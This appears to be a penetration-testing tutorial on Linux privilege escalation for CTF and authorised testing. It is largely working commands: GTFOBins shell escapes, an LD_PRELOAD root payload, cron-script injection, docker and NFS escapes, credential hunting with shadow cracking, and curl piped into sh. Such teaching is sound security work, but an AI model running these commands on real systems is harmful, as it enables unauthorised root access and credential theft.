Category: Technology
Tags: linux, privilege-escalation, enumeration, gtfobins, offensive-security
Important: The techniques described in this article are for authorised security testing, CTF challenges, and educational purposes only. Attempting privilege escalation on systems without explicit written permission is illegal under the Computer Misuse Act and equivalent legislation worldwide. Get the authorisation in writing before touching a single command.
Landing on a Linux box as a low-privilege user is the cybersecurity equivalent of getting into the building but finding every interesting door locked. Privilege escalation is the art of finding the one door someone forgot to secure -- and on Linux systems, there are a remarkable number of doors.
This article covers the practical methodology for escalating from an unprivileged shell to root, starting with enumeration and working through the most commonly exploitable misconfigurations. In CTF environments, these take minutes. In production environments, they take longer -- but the misconfigurations are depressingly similar.
Step Zero: Situational Awareness
Before hunting for escalation vectors, understand the terrain:
id # Who are you? What groups?
whoami && groups # User + group membership
uname -a # Kernel version and architecture
cat /etc/os-release # Distribution and version
hostname # System name
echo $PATH # Current PATH
env # All environment variables
Each of these feeds into different escalation paths. The kernel version determines whether kernel exploits are viable. Group membership reveals docker, lxd, or disk group access. The PATH variable determines whether PATH hijacking is possible.
Automated Enumeration
Manual enumeration is thorough but slow. For an initial sweep, automated tools cover more ground:
# LinPEAS -- the gold standard
curl -sL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
# LinEnum -- lighter, older, still useful
./LinEnum.sh -t
# linux-exploit-suggester -- kernel exploit checker
./linux-exploit-suggester.sh
# pspy -- watch processes without root (catches cron jobs)
./pspy64
LinPEAS in particular highlights escalation vectors in colour-coded output -- red items are high-probability paths to root. However, relying solely on automated tools means missing the context that makes manual enumeration valuable. Use both.
SUID/SGID Binaries
The most frequently exploitable misconfiguration on Linux systems. SUID (Set User ID) binaries execute with the permissions of the file owner -- typically root. If a SUID binary can be abused to spawn a shell or read/write files, the game is over.
Finding SUID Binaries
find / -perm -4000 -type f 2>/dev/null # SUID files
find / -perm -2000 -type f 2>/dev/null # SGID files
Exploiting via GTFOBins
GTFOBins (gtfobins.github.io) is the definitive reference for exploiting legitimate binaries. If a SUID binary appears on GTFOBins, there is almost certainly an escalation path.
Common SUID escalations:
| Binary | Escalation |
|---|---|
find |
find . -exec /bin/sh -p \; |
vim |
vim -c ':!/bin/sh' |
python3 |
python3 -c 'import os; os.execl("/bin/sh","sh","-p")' |
nmap (old) |
nmap --interactive then !sh |
bash |
bash -p (preserves effective UID) |
cp |
Copy /etc/passwd, add root user, copy back |
env |
env /bin/sh -p |
The -p flag on bash is critical -- it tells bash to preserve the effective user ID rather than dropping privileges. Without it, SUID escalation via bash silently fails, which has confused approximately everyone at least once.
Sudo Misconfigurations
sudo -l # What can you run as root?
The output of sudo -l is a treasure map. Common exploitable entries:
Unrestricted Command Access
# If sudo allows ANY command:
(ALL) NOPASSWD: ALL
# Then simply:
sudo /bin/bash
Binary-Specific Escalation
If sudo -l shows specific binaries, check GTFOBins for each:
# sudo vim
sudo vim -c ':!/bin/bash'
# sudo less
sudo less /etc/hosts
# Then type: !/bin/bash
# sudo awk
sudo awk 'BEGIN {system("/bin/bash")}'
# sudo find
sudo find / -exec /bin/bash \; -quit
# sudo python3
sudo python3 -c 'import os; os.system("/bin/bash")'
LD_PRELOAD Exploitation
If sudo -l shows env_keep+=LD_PRELOAD, any allowed sudo command becomes an escalation vector:
// Save as /tmp/pe.c
#include <stdio.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
gcc -fPIC -shared -o /tmp/pe.so /tmp/pe.c -nostartfiles
sudo LD_PRELOAD=/tmp/pe.so <any_allowed_command>
This works because the shared library is loaded before the actual binary executes, and the library code runs with root privileges.
Cron Job Exploitation
Cron jobs running as root that reference writable scripts or directories are a classic escalation path.
Finding Cron Jobs
cat /etc/crontab # System crontab
ls -la /etc/cron.* # Cron directories
crontab -l # Current user crontab
systemctl list-timers --all # Systemd timers
Exploitation
If a root cron job executes a script that your user can modify:
# Check permissions on the script
ls -la /opt/scripts/backup.sh
# If writable, add a reverse shell or SUID bash
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /opt/scripts/backup.sh
# Wait for cron to fire, then:
/tmp/rootbash -p
Invisible cron jobs: Use pspy to monitor process creation. Some cron jobs run scripts that call other scripts, and the intermediate script might be writable even when the cron entry itself points to a protected file.
PATH Hijacking
If a privileged script or SUID binary calls another program without specifying its full path, and you can modify the PATH, you control which binary gets executed.
# Example: a SUID script runs "backup" without full path
# Check the PATH order:
echo $PATH
# Create a malicious "backup" in a writable directory:
echo '/bin/bash -p' > /tmp/backup
chmod +x /tmp/backup
export PATH=/tmp:$PATH
# Run the SUID script -- it finds your "backup" first
./vulnerable_script
Capabilities
Linux capabilities provide fine-grained privilege control beyond the binary SUID model. Some capabilities are equivalent to root access:
getcap -r / 2>/dev/null # List all capabilities
Exploitable capabilities:
| Capability | What It Allows | Exploitation |
|---|---|---|
cap_setuid |
Change UID | python3 -c 'import os; os.setuid(0); os.system("/bin/bash")' |
cap_setgid |
Change GID | Change to root group, access group-readable files |
cap_dac_read_search |
Bypass file read permissions | Read /etc/shadow, crack hashes |
cap_net_raw |
Raw socket access | Packet sniffing, network attacks |
cap_sys_admin |
Mount filesystems | Mount host filesystem in container |
Kernel Exploits
When all else fails, exploit the kernel itself. This is higher-risk (kernel panics are real) and should be the escalation method of last resort.
uname -r # Get kernel version
searchsploit linux kernel $(uname -r | cut -d'-' -f1)
Notable kernel exploits:
| CVE | Name | Kernel Versions | Notes |
|---|---|---|---|
| CVE-2022-0847 | DirtyPipe | 5.8 -- 5.16.11 | Reliable, low risk |
| CVE-2021-4034 | PwnKit | Most distros (Polkit) | Works on almost everything |
| CVE-2021-3156 | Baron Samedit | sudo 1.8.2 -- 1.8.31p2 | Sudo heap overflow |
| CVE-2016-5195 | DirtyCow | 2.6.22 -- 4.8.3 | Reliable but can crash |
Risk assessment: DirtyPipe and PwnKit are generally stable. DirtyCow works but has been known to cause instability. Always have a way to recover the system before attempting kernel exploitation in production-adjacent environments.
NFS no_root_squash
If NFS exports are configured with no_root_squash, files created by root on the NFS client are owned by root on the NFS server -- including SUID binaries.
# Check for vulnerable exports
cat /etc/exports
# Look for: /share *(rw,no_root_squash)
# From attacker machine (as root):
mkdir /tmp/nfs && mount -t nfs TARGET:/share /tmp/nfs
cp /bin/bash /tmp/nfs/rootbash && chmod +s /tmp/nfs/rootbash
# On target:
/share/rootbash -p
Docker Group Escape
Membership in the docker group is effectively root access:
id | grep -i docker # Check group membership
# Mount host filesystem into container:
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
This drops you into a root shell with the host's entire filesystem mounted. The same principle applies to the lxd group.
Passwords and Secrets
Sometimes the quickest path to root is finding credentials someone left lying around:
# History files
cat ~/.bash_history
cat ~/.mysql_history
# Configuration files
grep -rli 'password' /etc/ 2>/dev/null
grep -rli 'password' /home/ 2>/dev/null
find / -name "*.bak" -o -name "*.old" -o -name "*.conf" 2>/dev/null
# SSH keys
find / -name id_rsa 2>/dev/null
ls -la ~/.ssh/
# Readable shadow file
ls -la /etc/shadow
# If readable: unshadow /etc/passwd /etc/shadow > hashes.txt
# Then: john hashes.txt --wordlist=rockyou.txt
Escalation Methodology Checklist
A structured approach prevents missing obvious vectors:
1. Situational awareness -> id, uname, groups, PATH
2. Automated enumeration -> LinPEAS, LinEnum
3. Sudo permissions -> sudo -l (check GTFOBins for each)
4. SUID/SGID binaries -> find + GTFOBins cross-reference
5. Capabilities -> getcap -r /
6. Cron jobs -> writable scripts, PATH abuse
7. Writable files -> /etc/passwd, config files, scripts
8. Passwords/keys -> history, configs, SSH keys
9. NFS shares -> no_root_squash
10. Docker/LXD group -> container escape
11. Kernel exploits -> last resort
What's Next in the Series
- Linux Commands Cheatsheet -- the enumeration commands referenced throughout this article
- Offensive Security 101: The Attack Lifecycle -- where privilege escalation fits in the bigger picture
- Password Attacks -- cracking the hashes you find in /etc/shadow
- Pivoting Cheatsheet -- what to do after you have root




